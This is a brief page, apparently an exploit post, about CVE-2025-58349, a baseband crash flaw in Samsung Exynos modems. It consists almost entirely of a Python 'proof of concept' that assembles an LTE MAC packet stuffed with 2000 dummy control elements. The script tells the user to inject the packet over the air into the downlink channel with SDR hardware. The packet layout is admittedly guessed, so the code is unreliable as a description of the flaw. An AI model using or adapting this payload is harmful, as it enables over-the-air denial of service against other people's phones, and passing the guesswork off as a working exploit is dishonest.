CVE-2025-58349 三星Exynos处理器基带崩溃漏洞

import sys # Conceptual PoC for CVE-2025-58349 # Note: Actual exploitation requires SDR hardware (e.g., HackRF, BladeRF) or a base station simulator. # This script demonstrates the logic of constructing the malformed packet structure. def generate_malicious_packet(): """ Constructs a payload simulating an LTE MAC packet with excessive Control Elements. """ print("[*] Generating malicious LTE MAC packet structure...") # Simulate LTE MAC Header mac_header = b"\x01\x00" # The vulnerability is triggered by 'many' MAC Control Elements (CEs). # We generate a payload with an excessive number of CEs. control_elements = b"" num_ces = 2000 # Threshold likely to cause crash for _ in range(num_ces): # Dummy CE structure (ID + Length) control_elements += b"\xFF\x01" payload = mac_header + control_elements print(f"[+] Payload generated with {num_ces} CEs.") return payload def main(): print(f"[*] CVE-2025-58349 PoC Simulation") packet = generate_malicious_packet() # In a real attack, this packet would be transmitted over the air interface. print(f"[*] Payload length: {len(packet)} bytes") print("[!] Warning: Transmitting this packet to vulnerable Exynos devices may cause baseband crash.") print("[*] Use SDR tools to inject this payload into the downlink channel.") if __name__ == "__main__": main()